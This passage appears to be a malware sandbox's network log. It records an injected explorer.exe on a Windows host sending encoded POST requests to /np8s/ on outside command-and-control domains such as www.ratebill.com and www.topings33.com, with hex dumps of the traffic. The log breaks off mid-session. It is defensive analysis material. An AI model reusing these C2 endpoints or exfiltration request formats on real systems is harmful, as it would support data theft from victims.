May 27, 2022 18:44:47.168775082 CEST	9918	IN	Data Raw: 3e 0a 20 20 20 20 3c 68 31 20 69 64 3d 22 74 22 3e 77 77 77 2e 6c 6f 63 61 6c 62 6c 6f 6f 6d 2e 6f 6e 6c 69 6e 65 20 69 73 20 70 61 72 6b 65 64 3c 2f 68 31 3e 0a 20 20 20 20 3c 70 20 20 69 64 3d 22 6d 22 3e 77 77 77 2e 6c 6f 63 61 6c 62 6c 6f 6f Data Ascii: > <h1 id="t">www.localbloom.online is parked</h1> <p id="m">www.localbloom.online is registered, but the owner currently does not have an active website here. <br>Other services, such as e-mail, may be actively used by the owner.<br><

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.5	49950	137.220.133.198	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:44:57.722872019 CEST	9927	OUT	POST /np8s/ HTTP/1.1 Host: www.ratebill.com Connection: close Content-Length: 409 Cache-Control: no-cache Origin: http://www.ratebill.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.ratebill.com/np8s/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 7a 56 42 3d 42 43 6b 47 48 6c 45 74 28 69 41 49 73 62 79 4d 43 49 54 4c 48 75 7e 4f 39 6b 6b 73 45 30 56 74 4f 75 70 6b 66 30 4b 53 4e 56 55 4e 73 74 44 44 57 6f 44 62 48 6d 4e 42 7e 67 72 55 72 68 4f 4a 67 36 78 71 78 43 75 38 65 42 61 63 38 68 54 6f 54 65 61 79 54 37 36 31 44 70 78 70 44 74 4f 6e 71 7a 54 45 6f 4c 64 56 68 54 72 38 70 76 45 67 50 59 7e 4f 39 69 38 61 6a 30 68 37 28 39 6d 56 55 5a 5a 70 74 47 6b 49 77 45 44 5a 74 45 39 49 78 42 67 41 37 5f 33 38 6c 62 4d 75 41 4b 67 7a 67 42 4c 65 68 55 5a 4e 57 57 48 6f 4d 51 6a 6d 44 5f 5a 52 72 47 35 70 28 75 7e 36 4a 46 43 63 32 53 39 46 64 52 4a 76 76 39 62 33 72 45 69 56 4e 65 28 51 6c 38 75 64 41 5f 6d 74 72 38 72 4a 39 63 48 4c 4b 4a 38 6a 78 34 55 53 45 4c 70 6b 58 55 62 5f 73 57 72 32 6e 44 38 39 72 47 6c 30 6f 4d 4b 33 63 38 55 64 75 43 36 55 45 62 74 4d 46 5a 54 7a 77 35 69 4f 75 4e 4d 50 76 77 46 43 46 51 7a 6f 62 4e 51 4e 55 4c 4f 32 36 55 75 51 4b 69 33 47 79 75 59 6c 77 76 69 6f 62 61 32 33 31 73 57 39 4e 4a 54 77 6f 48 78 72 61 4f 79 6c 38 49 72 35 70 45 7a 6c 71 45 76 79 45 43 4e 6c 4e 41 39 77 68 49 6f 54 48 44 7e 72 4e 34 37 4a 39 4d 36 5f 37 45 38 6c 42 4a 48 6e 35 31 49 4e 4f 41 6d 53 4d 48 31 30 31 35 58 4e 63 43 6e 30 38 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: zVB=BCkGHlEt(iAIsbyMCITLHu~O9kksE0VtOupkf0KSNVUNstDDWoDbHmNB~grUrhOJg6xqxCu8eBac8hToTeayT761DpxpDtOnqzTEoLdVhTr8pvEgPY~O9i8aj0h7(9mVUZZptGkIwEDZtE9IxBgA7_38lbMuAKgzgBLehUZNWWHoMQjmD_ZRrG5p(u~6JFCc2S9FdRJvv9b3rEiVNe(Ql8udA_mtr8rJ9cHLKJ8jx4USELpkXUb_sWr2nD89rGl0oMK3c8UduC6UEbtMFZTzw5iOuNMPvwFCFQzobNQNULO26UuQKi3GyuYlwvioba231sW9NJTwoHxraOyl8Ir5pEzlqEvyECNlNA9whIoTHD~rN47J9M6_7E8lBJHn51INOAmSMH1015XNcCn08g).

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.5	49951	137.220.133.198	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:44:58.091213942 CEST	9941	OUT	POST /np8s/ HTTP/1.1 Host: www.ratebill.com Connection: close Content-Length: 36477 Cache-Control: no-cache Origin: http://www.ratebill.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.ratebill.com/np8s/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 7a 56 42 3d 42 43 6b 47 48 6e 51 37 78 32 77 56 78 62 50 73 57 65 58 66 50 5f 75 4d 78 30 6f 6a 61 47 51 74 4b 61 74 61 41 68 32 6a 63 67 51 62 6f 64 65 54 53 75 58 54 48 6e 38 6c 77 7a 50 75 76 42 4b 4b 67 37 56 55 78 43 71 38 66 41 79 4d 38 47 66 4f 55 38 69 39 52 62 36 4a 45 70 77 76 56 63 53 4b 71 7a 57 52 6f 4c 45 4b 68 6a 48 38 6f 4e 38 67 4a 5a 7e 4a 69 53 38 44 67 30 52 6e 37 39 72 48 55 5a 42 68 74 43 6b 49 78 30 50 5a 33 6b 74 4a 6d 57 4d 44 6a 5f 32 58 7a 4c 4d 4e 4f 71 6c 41 67 42 48 77 68 52 35 4e 57 41 76 6f 44 67 44 6d 49 75 5a 53 7e 6d 35 73 73 2d 7e 6a 4e 46 50 45 32 53 52 5a 64 56 52 56 75 49 62 33 6c 55 69 59 63 5f 37 75 75 39 75 30 43 5f 53 61 72 39 58 6b 39 4e 71 59 4b 4c 35 47 6e 36 4d 70 59 2d 31 65 58 52 4c 42 76 32 71 5f 76 6a 38 71 72 47 6c 45 6f 4d 4b 5a 63 39 6b 64 75 44 79 55 46 49 46 4d 48 61 36 6c 76 5a 69 4c 71 4e 4d 72 7e 67 5a 75 46 51 71 6d 62 4d 39 49 55 37 69 32 37 45 53 51 65 33 72 48 77 75 59 6a 67 5f 69 67 66 61 32 34 31 73 57 4c 4e 49 53 74 76 30 31 72 49 76 79 6c 73 61 44 35 6c 55 7a 6c 6d 6b 76 77 4c 69 42 50 4e 41 31 38 68 49 5a 6d 48 77 53 72 49 36 44 4a 7a 4a 61 5f 34 30 38 6c 4f 70 48 35 32 30 52 42 47 77 75 5f 4c 6e 30 44 70 61 43 36 53 47 76 5f 67 75 48 56 41 34 78 5a 4d 6f 70 2d 31 65 47 35 79 72 55 52 33 54 56 69 4b 78 7e 4c 75 5f 35 4d 67 6d 58 36 43 58 69 31 38 4b 52 4e 73 48 6f 56 49 73 4b 46 4c 4a 68 42 68 73 31 4f 58 6f 7e 67 76 53 53 77 55 65 68 52 71 73 71 67 49 58 32 5a 4e 6b 77 6c 7a 69 43 6b 52 6c 49 77 39 61 45 43 55 61 7a 30 41 50 70 73 41 57 70 47 6d 55 64 39 74 53 44 33 54 6e 74 38 6a 63 58 43 41 78 6e 48 47 63 4c 30 54 63 69 53 68 64 4d 6f 31 44 55 57 64 51 71 41 54 41 53 63 7e 74 7e 69 77 59 47 46 4a 76 32 79 68 41 6b 6e 41 76 58 5a 73 57 28 4b 53 71 57 4d 64 68 57 78 4f 59 6c 74 5a 30 55 41 71 48 45 6f 46 73 76 74 6c 6a 54 31 43 71 7a 2d 50 6b 53 4f 28 4c 47 74 65 34 41 6e 39 66 6d 4d 69 71 79 52 68 6c 6f 42 6e 36 56 74 76 6a 7e 47 7a 75 69 6e 78 54 58 78 61 4d 64 54 36 47 62 35 36 4b 63 57 49 49 62 74 28 37 5a 4f 79 71 71 68 57 67 5a 4c 6c 6b 75 77 44 32 66 78 70 37 31 51 68 61 74 41 6a 2d 4f 6c 4b 38 30 67 74 31 7e 54 77 70 42 61 47 69 61 53 50 74 36 41 63 41 35 32 36 2d 63 38 28 67 7a 43 41 76 6a 49 4c 69 78 51 61 33 43 6f 6a 6e 4b 64 5a 59 50 4d 46 45 6e 50 73 74 63 36 28 61 48 73 73 66 4b 68 45 30 53 79 59 4b 28 31 66 55 55 55 38 66 57 4c 6d 34 70 63 71 47 39 6f 36 5f 4a 39 75 2d 76 5a 45 6a 4e 33 37 61 4a 4a 69 75 46 74 38 5f 79 6d 73 6e 54 4b 78 67 66 2d 58 63 44 6d 56 39 4b 61 43 74 47 51 76 58 38 55 65 71 79 69 59 52 75 4a 4e 4f 32 43 4e 67 79 4e 6c 69 59 64 65 4c 79 4a 35 4e 37 58 55 31 72 66 4a 39 35 39 38 30 4f 36 4d 36 75 35 42 76 6b 41 53 46 55 35 61 4e 7e 50 6d 69 65 59 55 77 75 50 64 33 30 6f 47 50 68 2d 30 73 30 37 42 37 58 62 36 5f 6e 4d 51 47 6c 5f 58 6b 78 4c 5a 4d 76 53 71 61 48 75 50 6a 49 79 38 70 45 6e 46 38 50 70 67 36 58 7a 41 66 7e 74 50 55 63 5a 54 56 4b 6f 6a 37 7a 5a 56 30 6c 30 75 78 51 2d 7e 67 74 61 6a 6a 47 7a 55 55 76 42 59 6b 55 66 53 59 39 73 4c 30 34 70 7e 48 6a 57 61 30 78 72 6e 30 5a 4c 45 55 46 59 79 41 4e 6a 37 62 65 67 6b 32 50 4b 79 48 68 36 62 31 62 4a 69 54 4a 6d 59 67 44 4e 46 71 76 55 75 31 45 4f 6d 46 53 74 4d 59 38 57 37 67 72 4c 72 61 39 62 69 44 56 2d 75 74 67 47 4e 69 42 6c 33 6e 52 37 34 4d 51 75 48 67 6e 68 32 43 34 4a 38 76 6c 6b 48 2d 73 66 51 2d 76 78 69 4b 43 70 53 46 41 6f 79 59 73 73 79 51 57 4b 4b 54 61 76 79 35 35 31 69 59 62 75 58 4d 6b 4c 52 5a 78 45 6e 5f 61 49 63 39 65 6b 72 42 35 43 4e 59 5a 4e 74 68 59 74 7e 72 51 47 42 2d 63 47 56 33 75 62 50 57 70 65 58 4c 48 49 64 4f 72 50 6f 42 70 31 66 72 38 6b 73 61 61 74 57 75 57 54 47 4e 79 62 51 6e 4c 5a 71 64 51 77 35 32 78 37 4a 39 74 6f 4b 6e 7e 56 54 78 32 63 41 55 46 4f 6a 6a 39 6f 32 36 6d 52 51 4f 37 53 46 41 68 4b 38 55 62 58 73 4e 79 34 4a 67 28 31 55 50 58 58 48 71 71 58 34 67 7e 4c 52 5a 31 61 51 45 43 32 6b 78 4d 78 5a 34 64 34 57 4d 68 4f 78 58 73 4c 70 45 4f 53 39 76 5a 74 61 76 58 39 53 4b 47 64 4a 6c 57 51 56 33 65 5f 75 64 4b 58 4c 59 4c 73 6c 44 67 41 31 58 56 4c 75 75 37 57 75 34 55 69 64 75 41 62 36 46 53 30 65 73 6e Data Ascii: zVB=BCkGHnQ7x2wVxbPsWeXfP_uMx0ojaGQtKataAh2jcgQbodeTSuXTHn8lwzPuvBKKg7VUxCq8fAyM8GfOU8i9Rb6JEpwvVcSKqzWRoLEKhjH8oN8gJZ~JiS8Dg0Rn79rHUZBhtCkIx0PZ3ktJmWMDj_2XzLMNOqlAgBHwhR5NWAvoDgDmIuZS~m5ss-~jNFPE2SRZdVRVuIb3lUiYc_7uu9u0C_Sar9Xk9NqYKL5Gn6MpY-1eXRLBv2q_vj8qrGlEoMKZc9kduDyUFIFMHa6lvZiLqNMr~gZuFQqmbM9IU7i27ESQe3rHwuYjg_igfa241sWLNIStv01rIvylsaD5lUzlmkvwLiBPNA18hIZmHwSrI6DJzJa_408lOpH520RBGwu_Ln0DpaC6SGv_guHVA4xZMop-1eG5yrUR3TViKx~Lu_5MgmX6CXi18KRNsHoVIsKFLJhBhs1OXo~gvSSwUehRqsqgIX2ZNkwlziCkRlIw9aECUaz0APpsAWpGmUd9tSD3Tnt8jcXCAxnHGcL0TciShdMo1DUWdQqATASc~t~iwYGFJv2yhAknAvXZsW(KSqWMdhWxOYltZ0UAqHEoFsvtljT1Cqz-PkSO(LGte4An9fmMiqyRhloBn6Vtvj~GzuinxTXxaMdT6Gb56KcWIIbt(7ZOyqqhWgZLlkuwD2fxp71QhatAj-OlK80gt1~TwpBaGiaSPt6AcA526-c8(gzCAvjILixQa3CojnKdZYPMFEnPstc6(aHssfKhE0SyYK(1fUUU8fWLm4pcqG9o6_J9u-vZEjN37aJJiuFt8_ymsnTKxgf-XcDmV9KaCtGQvX8UeqyiYRuJNO2CNgyNliYdeLyJ5N7XU1rfJ95980O6M6u5BvkASFU5aN~PmieYUwuPd30oGPh-0s07B7Xb6_nMQGl_XkxLZMvSqaHuPjIy8pEnF8Ppg6XzAf~tPUcZTVKoj7zZV0l0uxQ-~gtajjGzUUvBYkUfSY9sL04p~HjWa0xrn0ZLEUFYyANj7begk2PKyHh6b1bJiTJmYgDNFqvUu1EOmFStMY8W7grLra9biDV-utgGNiBl3nR74MQuHgnh2C4J8vlkH-sfQ-vxiKCpSFAoyYssyQWKKTavy551iYbuXMkLRZxEn_aIc9ekrB5CNYZNthYt~rQGB-cGV3ubPWpeXLHIdOrPoBp1fr8ksaatWuWTGNybQnLZqdQw52x7J9toKn~VTx2cAUFOjj9o26mRQO7SFAhK8UbXsNy4Jg(1UPXXHqqX4g~LRZ1aQEC2kxMxZ4d4WMhOxXsLpEOS9vZtavX9SKGdJlWQV3e_udKXLYLslDgA1XVLuu7Wu4UiduAb6FS0esn4xttGtmwfGGcorGyCyKNwTnrXOJq_uMHCIXluTBRQOzxK1avDKcnKMbNbQoJ1Y5jjEIqCsidZvexmcXAyp3MloaKQ~S9eOP~6BVbCcN4vQwwRBRnnz5gZb5QcjkYNxrFhBCbimFEbkkLO9K0eJlEZ57c7BNBH5H8Z(PnnCIziYry8sZNF(JC3aeLFAFKz2nnq5UuHgiFj3Z(gJsPN3qHSIGx77rFIrHFZRGGd3GG-9pim6ZjBCwP13LFzEPQ-QQm23jy_vmiaWeiJSbPdL3ybD5KBFGQBbJ4ynWxxhgLzEFtmq3Ipiw5I57Tm7w49WJ3Q6dJGpjjcbEtJjvtks0iSIHRcd4094gf9BHiUe1OELPgsPhgoOgjyiGMTT0XLbb0bkNxvzQI60G~whowv~moO5NVwyRUfCxWQrPBGfeiAjMzvY4k0xoqu(QekoAiE296ki-uRvogcpb2ZX-vixwXFmh0WhgjhoJWiJP9uMZVVp0r5947GBWf8x8IFQU9aH3n5tqwHhD0zlQAmR-kHDXCbEs0G7D7G(zGwPaoAQy7LJsO1oSGhmTSZ4_QJLZN0CoNggqS2LQi9h648DjPvhpq3Sk6iIu83ue1AiYx4rGbHR0YlNcb5Y8f1RiUCo5lbBKN0RXjKJRuAhU40bgBYtkA2BA~l50rVY1JYWMdiUMR8dXbgWhaGLylkz4ALxgQnmrcILlorFrbHzLBjGwBYGrR8JptSq7aTXmC05F3Lx0ufIBUNNXl4caUoVsXW6YHkLT8nas5F(bLANNRvXvsGRhT40HJTvHPZBrTx4IO_FPz8dWLgr-IfMn~WtTvX6PxNf216U8(WoBXXrbqNDfyKoTyow6Sgh255F74290V8lG4vwHd69PYH31QaFSL0fjl1IyYe~pZq9o8G39anHRPIntFb1ZtZPfuMEq7rI5M5kZtkGPd2LYCcjhS11gqZFeA6qJcJ0rDgrv3Nm3bJZFwalJLrkx~umBrHxQ1IQjdRBJim(VsnU7gTXe65fu1d3eKVwdSBYGZd5Rkqs31sSe7FFiSMC7JO~IG2qJXWRY0MkogUcyCorjy5Qrh1mxTdmAgJ6cwhnuURSIlsQx22hOZox_F1a300WFlF(IGk2aD7xHAJmUiuH66zJm6xyOyisM1oFMEgFtgWLxNbhQ6KvR3Gyj~iZ8xjbadl3tOpMe53gMltWQc9ajOuEDvB1pnYLtUsUq8xfMRZHPEmrR5SRaCX5_BYe4nsidUXksVAOxAr5yi0F5WFcIhIHB4LVbK6QveiAet6wmVKauxCNfUW4IBhKsxDGXtoylla0K~87xCtKN(k(sEnfdacHi9kKbJvnRN1q9pDVAppgqo9tRkYompF6Bbd1vsMuVGUPWb57BWdTfsulZPUtjdBGajNz4RIOsDA(15TAEcsQ_~AXmpiWXCH5bbyA1G-Y3OhSVfYmExz2sVql6Mh6Xn1J5ief5SchO4tNgxuJ3Q95O6-RwLhPVloeLU-jHAMtfCDrOfiteaK7HBgc1UVZfc-5vuTCo87F_0TtacnA1~Rz-i-hjzIXNTF12jgC8ShJv9OAWxIXdLjNxR1lU5HvE4qhokFCtLLLuDHX4vspIAFRX6Z2IAFSje4ib8g5cShA3fp4pZcxN2LAq4J7s7ze4yFL9SY1yo4UuZihZ9a94WpYhCh8pWlOpER7vPaifUyjUYUcocO9iJR(V8_Z5(x1YSbqtkOQ4i36f~zrZMprbhfDgv-M_IEnFhx(ZcLiud_ORL6ouJOobV7MIw9wXEtetN1SVcdX7c42IY41dfkW8M_4pJh5bKGV94OUE016nP-0c0DdytCv7r340a6S9d0TFOOPCGVNLsIUYUXrjMcn44eQPj5FBnBgLciiyMKe3GQk3EILfkOk2va(fAUxG0UBpeTZmqQn4QLvC2Vy6MMAgYJsMd28WhCj1yyAdXzKoi1x4qJIos1sYIKvha4d7dxBYEvjlrPpXz8XzCx7NXnIRMV6pAEHVSyGTjbAGEaNguVQGVK0kkdI6tGJusybX1jD0vAlA7KQjwTFj1Ina(JO0Hmgv6u5w5ZCFsHRieuIvxU65jqQbE_SZanmrIAlU(Q7x1B3lTxi5BINJM6o0IdF5oKRhbyAtQH1BuOyFkviiSzjIkHpN7iR_~x(-eYciqPVXvnUiKJMJ0pffuVj1UzNSfnc3sLzAiWgD8KoRc8OQbg8JqCb3wgBFPVT14FBi8kEW0ErimH7RevU2bmdBHlLKZTUU~ywwMMMyhXYkp9ZMNBZoJwSB06T6vISlq44KWFowFBVop4zqgG55ou5q0Ywkt4ZhIKMDmJee2_oMZrohMS0ZpSOKHCaA7s5gu00XPddfa4eZuGsAdCI1NCafrVWL(fzg~P2eEPCNEvXd5ldpn2vXXBwV5JV9~46a~SfDyTsYaR5fChi_d0ezn2DrxK7F49OlBFdfr2k3AndKpDlO4f9LvzpZlFvqICbDSyrnTgEa7wXVanhZccfgHINhn28UZjabcB1TlF0BPGB2iD4HD2GLxn4W93T1enTtxXEiKadjPEDwPykpCjmoblpJcqZf0DCroDYW8uuKivw7YR~xEMlmssosZEg4e96MWf7t5FF2kR(buLrIXs6lP80ydmPUb1K5o4hL8ap98wqin1fznoG32LvrHxJ_4aabJSgVZj~_d6Vs9hxuZFM07VoUu1FMIcNqOi~CdpY880XFA5Pq~anVsVhIqgC9
May 27, 2022 18:44:58.457647085 CEST	9949	OUT	Data Raw: 47 76 35 69 48 65 7a 59 75 53 56 77 28 37 58 32 32 39 76 6a 44 30 78 66 38 4a 6b 34 6c 4d 64 63 35 66 32 5a 4e 6e 31 70 6d 30 68 59 72 34 6e 78 79 46 54 52 28 42 28 6b 69 45 51 34 31 38 47 45 44 48 69 31 47 59 6e 4c 4c 4c 55 68 47 6c 70 47 70 6e Data Ascii: Gv5iHezYuSVw(7X229vjD0xf8Jk4lMdc5f2ZNn1pm0hYr4nxyFTR(B(kiEQ418GEDHi1GYnLLLUhGlpGpnB1tfmRtz7eNolTGHexdveDuIFOrLDAeSnAOQBncyHjq8FXUUPL(L94bSYZ2jt7JB3bYxE0co6yEeuCZGep75K53He7j51t2E0aEYcLgniubEkFPiGT(0KuYuSY2BSA9XIMSp77Bgs9XIHkOeV_ko9VBIByNctYWr4
May 27, 2022 18:44:58.457714081 CEST	9957	OUT	Data Raw: 75 49 47 4f 54 76 28 53 4a 79 38 75 4b 45 51 70 71 4c 73 51 49 4c 73 42 45 54 6a 50 55 38 38 7a 4f 34 31 4c 36 4e 36 53 79 5a 66 64 6b 38 52 75 71 67 43 61 30 4a 30 6c 76 58 34 6d 56 70 57 53 6a 31 66 39 74 75 50 34 75 62 4f 59 61 2d 6a 47 50 6f Data Ascii: uIGOTv(SJy8uKEQpqLsQILsBETjPU88zO41L6N6SyZfdk8RuqgCa0J0lvX4mVpWSj1f9tuP4ubOYa-jGPoXxAGl7QL958fNuwbHF(CvxCgOJ9qr0ryNJ3NuYIwGP0krzQ7kjNm(VjEwtbFZtvjouIcyGVbkBDlXJ3EtIIquVh54sSOdDGBv9exQBx4dLMrP0lzc0y5vh47PxNk(JOGMR8RAEPJMoaa7gdV1d2F~t67kbYEz7yls
May 27, 2022 18:44:58.457793951 CEST	9964	OUT	Data Raw: 77 38 79 79 4d 56 53 6f 6b 73 76 38 47 64 33 52 61 5f 47 38 55 48 6e 4d 34 4f 45 32 58 50 64 4d 37 34 6c 49 50 79 41 43 66 35 47 30 67 48 37 54 75 45 56 39 7a 33 65 79 36 66 43 71 46 47 74 61 66 61 42 39 79 76 70 77 31 50 59 51 43 31 4c 39 78 64 Data Ascii: w8yyMVSoksv8Gd3Ra_G8UHnM4OE2XPdM74lIPyACf5G0gH7TuEV9z3ey6fCqFGtafaB9yvpw1PYQC1L9xdyyQ9UnTEFt2xLaPvrQa8Z6b7dZYmZZqyuih_hcQbuFKPH6oohsymq208fGjPhSPtNQ93pdk6xY0MNfUxxxVCBKP3u5KktVwLcWU5bKhQ890mw_Ak3dMVl8garfvSCFlQk-7InqwrjdC09nJKtkUyWZ5O3gmuk0u_C

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.5	49952	137.220.133.198	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:44:58.457839012 CEST	9964	OUT	GET /np8s/?4hM4=o4B0f&zVB=OAQ8ZAk71VYHsoGBQeS0cLLvyBMKMlAsSK0ta2CkcQgnl+jMatCDHwZEkBjakU6FhLRf HTTP/1.1 Host: www.ratebill.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 27, 2022 18:44:58.827672005 CEST	9965	IN	HTTP/1.1 200 OK Server: Tengine Date: Fri, 27 May 2022 16:44:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 31 0d 0a 2e 0d 0a 30 0d 0a 0d 0a Data Ascii: 1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.5	49955	162.0.230.89	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:45:04.001216888 CEST	9991	OUT	POST /np8s/ HTTP/1.1 Host: www.topings33.com Connection: close Content-Length: 409 Cache-Control: no-cache Origin: http://www.topings33.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.topings33.com/np8s/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 7a 56 42 3d 78 33 62 6f 4f 32 30 54 63 6b 62 46 62 45 58 79 63 37 47 52 61 54 64 70 54 53 62 71 63 39 4c 5a 48 34 58 45 31 76 79 51 34 6a 76 47 62 61 4d 2d 38 79 31 62 64 76 59 67 48 50 49 74 35 69 6b 75 55 4e 54 53 31 5a 78 49 50 46 34 48 39 54 56 6b 69 36 6c 49 52 36 79 70 7e 4b 61 69 73 52 73 67 39 65 47 39 34 30 51 4b 7a 46 44 61 47 63 44 73 53 70 33 42 73 4d 39 36 77 37 33 5a 42 71 33 4a 79 38 72 71 32 46 79 30 4f 71 79 41 31 52 79 4d 39 57 35 77 73 55 28 56 44 52 4a 64 41 73 28 6d 62 64 69 63 28 64 70 53 35 56 47 42 63 39 41 2d 55 6f 6f 35 45 58 4f 57 68 33 70 59 63 71 67 70 72 6f 4f 38 38 2d 45 56 50 37 7a 4c 41 47 31 46 66 63 37 56 78 4a 63 50 75 35 38 63 72 49 77 77 46 68 77 39 55 6b 35 62 41 7a 76 4f 70 53 56 38 41 44 4f 5f 43 33 51 43 59 36 37 33 34 6b 70 54 57 73 56 2d 31 4a 66 34 4c 49 79 4f 7e 2d 61 77 65 6b 72 38 42 34 66 4d 44 74 71 6e 35 77 37 4a 76 4a 52 6b 62 78 71 75 6a 30 33 6c 61 56 36 6d 50 69 46 6d 6f 75 55 5f 66 6d 4e 51 43 73 34 4f 34 78 5a 4c 6d 6c 59 31 68 32 4d 59 6c 63 71 41 73 70 4c 76 76 7a 4d 38 31 51 34 46 64 35 43 4b 54 4a 75 38 50 38 54 74 32 78 4c 50 4a 47 42 58 4d 36 52 47 6c 68 6b 64 41 5a 59 39 28 68 68 36 47 55 32 59 35 68 37 30 69 39 71 6d 66 53 7e 68 6b 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: zVB=x3boO20TckbFbEXyc7GRaTdpTSbqc9LZH4XE1vyQ4jvGbaM-8y1bdvYgHPIt5ikuUNTS1ZxIPF4H9TVki6lIR6yp~KaisRsg9eG940QKzFDaGcDsSp3BsM96w73ZBq3Jy8rq2Fy0OqyA1RyM9W5wsU(VDRJdAs(mbdic(dpS5VGBc9A-Uoo5EXOWh3pYcqgproO88-EVP7zLAG1Ffc7VxJcPu58crIwwFhw9Uk5bAzvOpSV8ADO_C3QCY6734kpTWsV-1Jf4LIyO~-awekr8B4fMDtqn5w7JvJRkbxquj03laV6mPiFmouU_fmNQCs4O4xZLmlY1h2MYlcqAspLvvzM81Q4Fd5CKTJu8P8Tt2xLPJGBXM6RGlhkdAZY9(hh6GU2Y5h70i9qmfS~hkQ).
May 27, 2022 18:45:04.247493982 CEST	9991	IN	HTTP/1.1 404 Not Found Date: Fri, 27 May 2022 16:45:04 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 279 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 74 6f 70 69 6e 67 73 33 33 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at www.topings33.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.5	49958	162.0.230.89	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:45:06.175256014 CEST	10020	OUT	POST /np8s/ HTTP/1.1 Host: www.topings33.com Connection: close Content-Length: 36477 Cache-Control: no-cache Origin: http://www.topings33.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.topings33.com/np8s/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 7a 56 42 3d 78 33 62 6f 4f 79 31 49 59 58 66 6d 58 30 61 55 52 70 32 4e 43 7a 74 72 66 43 66 6c 5a 38 57 48 4e 70 6e 36 78 74 37 6d 37 6a 6e 6d 52 4b 51 66 33 54 68 44 64 76 6f 5a 63 74 39 71 75 79 67 74 55 4e 72 38 31 5a 6c 49 4f 47 49 58 36 30 5a 65 69 5a 4e 50 63 36 79 56 39 4b 61 42 36 53 70 41 39 66 58 53 34 30 59 61 30 31 76 61 45 2d 4c 73 55 6f 33 4b 7a 63 39 38 76 4c 48 64 46 71 7a 2d 79 38 79 70 32 41 53 30 4f 61 7e 41 30 78 43 54 37 56 52 7a 32 30 28 51 47 52 4a 45 4f 38 79 42 62 63 57 79 28 63 35 53 36 6d 79 42 64 73 67 2d 45 50 63 36 4c 33 4f 54 77 6e 70 76 50 36 6b 34 72 6f 53 67 38 5f 77 76 4d 4b 48 4c 43 32 31 2d 61 50 72 33 37 36 45 69 6f 36 68 38 72 49 39 65 45 77 73 6c 55 67 78 33 51 77 32 6d 33 41 4e 47 41 42 43 46 4f 33 51 47 51 61 36 31 34 6b 6f 6b 57 73 56 41 31 4e 62 34 4c 4c 69 4f 34 2d 4b 77 59 67 4c 5f 65 34 66 4a 48 74 71 6c 39 77 28 70 76 4a 59 35 62 78 47 41 6a 6e 7a 6c 63 41 6d 6d 49 45 5a 6c 39 75 55 31 4d 57 4e 49 50 4d 34 5f 34 78 5a 6c 6d 6b 5a 75 67 46 34 59 6b 4e 71 41 76 50 28 76 71 44 4d 38 37 77 34 48 53 5a 50 52 54 4a 6e 30 50 39 69 50 32 47 37 50 4a 58 68 58 4d 62 52 47 6d 52 6b 64 5a 4a 5a 2d 36 54 35 32 4e 6b 37 53 79 55 79 5a 36 2d 48 49 4c 54 66 32 33 76 42 59 44 69 4c 49 6f 47 77 48 45 77 39 59 4e 63 47 64 50 44 72 2d 70 6f 47 42 47 62 4b 58 6f 77 75 66 61 47 66 70 57 68 72 69 59 44 6f 64 4d 70 42 77 6a 57 79 6c 44 4a 72 4f 76 6f 71 4c 43 76 73 39 55 49 77 